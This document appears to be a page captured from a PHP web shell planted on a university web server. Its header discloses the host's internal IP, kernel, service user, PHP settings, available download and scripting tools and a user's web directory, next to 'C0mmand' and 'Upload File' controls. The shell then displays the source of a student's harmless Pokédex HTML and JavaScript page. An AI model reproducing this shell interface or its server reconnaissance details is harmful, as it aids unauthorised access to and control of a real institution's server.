Server IP : 172.16.15.8 / Your IP : 3.139.235.177 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jlcrouch/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<html> <head> <style> body {background-image:url('http://cdn.bulbagarden.net/upload/e/e0/Spr_Y_Red_Pikachu.png');} table {width:auto;border-collapse:collapse;} td { width:60px; height:60px; background-attachment:fixed; background-repeat:no-repeat; } textarea, input {outline:none;} </style> </head> <body> <div id="bodyDiv" style="width:1102px; height:652px; margin:auto;"> <div id="top" style="float:top; width:1000px; height:50px"></div> <div id="left" style="float:left; width:50px; height:750px;"></div> <div id="page1" style="border-radius:15px; border:none; background:url('./Images/Body/Pokedex Body.png'); float:left; height:650px; width:550px;"> <div id="leftHead" style="border-style:none; height:65px; width:550px; border-right:0px; border-top:0px;border-left:0px;"> <a href="pokedexpassword.html"> <img src="./Images/Light GIF/256ColorREDGIF.gif" alt="Header Light" style="position:relative; left:15px; top:-13px; height:70px; width:70px; z-index:1; border-radius:50px;"> </a> <img src="./Images/Header/Pokedex_Header.png" alt="Header Image" style="position:relative; top:-95px; height:100px; width:550px;"> <!-- <div id="light" style="background-color:green; height:50px; width:50px;"><a href="pokedexpassword.html">Professor Login</a></div> --> </div> <div id="leftScreen" style="background-color:transparent; border-style:outset; border-width:10px; border-color:gray; height:150px; width:150px; position:relative; margin-left:180px; margin-right:auto; margin-top:50px;"> <div id="screenShadow" style="background-color:white; border-style:inset; border-color:rgba(0, 0, 0, .7); border-right-color:rgba(0, 0, 0, .2); border-bottom-color:rgba(0, 0, 0, .2); height:144px; width:144px"> <div id='pokeballScreen' style='background:url(http://upload.wikimedia.org/wikipedia/en/3/39/Pokeball.PNG)0 0;width:145px;height:145px;background-size:cover;'> </div></div> </div> <div id="leftText" style="margin-top:42px; margin-left:auto; margin-right:auto; width:425px;"> <textarea id="descriptionBox" data-loaded="" rows="15" cols="50" readonly style="cursor:default; resize:none; border-style:outset; margin-left:20; margin-right:auto; border-width:5px; border-color:gray;">Welcome Trainer!</textarea></div> </div> <div id="page2" style="border:none; background:url('./Images/Body/Pokedex Body.png'); margin-left:600px; padding-right:2px; height:650px; width:550px;"> <div id="rightHead" style="background-color:blue; border-style:none; height:50px; width:550px; position:relative;"> <img src="./Images/Header/Pokedex_Header_R.png" alt="Header Image" style="position:relative; top:-25px; left:-1px; height:100px; width:552px;"> </div> <div id="rhi" style="border-style:none; height:50px; width:550px; position:relative; top:-35px;"> <select id='swn' style="width:125px; margin-top:15px; margin-left:20px"> <option value="none">--Select--</option> <option value="strong">Effective Against</option> <option value="weak">Ineffective Against</option> <option value="neutral">Neutral Against</option> </select> <select id='type' style="width:125px; margin-top:15px; margin-right:10px"> <option value="none">--Select--</option> <option value="normal">Normal</option> <option value="fighting">Fighting</option> <option value="flying">Flying</option> <option value="poison">Poison</option> <option value="ground">Ground</option> <option value="rock">Rock</option> <option value="bug">Bug</option> <option value="ghost">Ghost</option> <option value="fire">Fire</option> <option value="water">Water</option> <option value="grass">Grass</option> <option value="electric">Electric</option> <option value="psychic">Psychic</option> <option value="ice">Ice</option> <option value="dragon">Dragon</option> </select> <input id='searchSubmit' type="submit" value="Submit" style="width:75px; margin-top:15px; float:right; margin-right:25px;" onclick='ajax("./searchPokedex.php", {"swn": document.getElementById("swn").value, "type": document.getElementById("type").value, "search": document.getElementById("searchBox").value}, loadSearchResponse)'> <!-- <input id="searchBox" onfocus="this.value=' '" onblur="this.value='Search (id, name, type)'" type="text" name="search" value="Search (id, name, type)"> --> <input id='searchBox' type='text' /> <!-- </form> --> </div> <div id="rightDisplay" style="background-color:white; width:450px; height:496px; overflow:scroll; overflow-x:hidden; position:relative; margin-left:auto; margin-right:auto; margin-top:5px; border-style:outset; border-width:5px; border-color:gray;"> </div> </div> <div id=bottom style="width:1000px; height:50px";> <button type="button" onclick="javascript:history.back()" style="margin-left:65px; box-shadow:1px 1px 5px black;">Back</button> </div> </body> <script type='text/javascript'> /* Request to retrieve response from url */ function ajax(url, data, callback) { //Attach data to url for request. var a = []; for (var p in data) { if (!data.hasOwnProperty(p)) {continue; } a.push(encodeURIComponent(p) + '=' + encodeURIComponent(data[p])); } url = url + '?' + (a.join("&")); var xmlhttp = new XMLHttpRequest(); xmlhttp.open('GET', url, true); //When the request is done and returns OK, perform the function in callback, if any. if (typeof callback == 'function') { xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState != 4 || xmlhttp.status != 200) {return; } callback(xmlhttp); //Enable search button after request processed window.setTimeout(function() {document.getElementById('searchSubmit').disabled = false;}, 1000); }; } //Send the request xmlhttp.send(); //Force the submit button to wait for request to return- prevents duped requests document.getElementById('searchSubmit').disabled = 'disabled'; } /* Loads search results to right pane */ function loadSearchResponse(xmlhttp) { document.getElementById('rightDisplay').innerHTML = xmlhttp.responseText; } /* On Click: Loads individual pokemon data to left pane */ /* DIRECTLY REFERENCED in searchPokedex.php */ function loadLeftPane(td) { var kid = td.getAttribute('data-kid'); var el = document.getElementById('descriptionBox'); if (el.getAttribute('data-loaded') == kid) { return; } ajax('./getPokemonDescription.php', {'id':kid}, function (xmlhttp) { el.innerHTML = 'Name:\t' + td.getAttribute('data-name') + '\nId:\t' + kid + '\n' + 'Types:\t' + td.getAttribute('data-types') + '\n\t' + xmlhttp.responseText; el.setAttribute('data-loaded', kid); }); //Load img to pokeball box var el2 = document.getElementById('pokeballScreen'); ajax('./getAnim.php', {'id':kid}, function (xmlhttp) { var bg = "./Images/Animated Sprites/" + xmlhttp.responseText; el2.style.backgroundImage = 'url("./Images/Animated Sprites/' + xmlhttp.responseText + '")'; el2.style.backgroundRepeat = 'no-repeat'; el2.style.backgroundPosition = 'center'; el2.style.backgroundSize = '100px 100px'; }); /* var el2 = document.getElementById('pokeballScreen'); var src = td.getElementsByClassName('img'); el2.style.background = src[0].style.background; el2.style.backgroundSize = '1500%'; var x, y; x = td.getAttribute('data-x'); y = td.getAttribute('data-y'); x *= 2.41666; y *= 2.41666; var value = x + 'px ' + y + 'px'; el2.style.backgroundPosition = value; */ } </script> </html>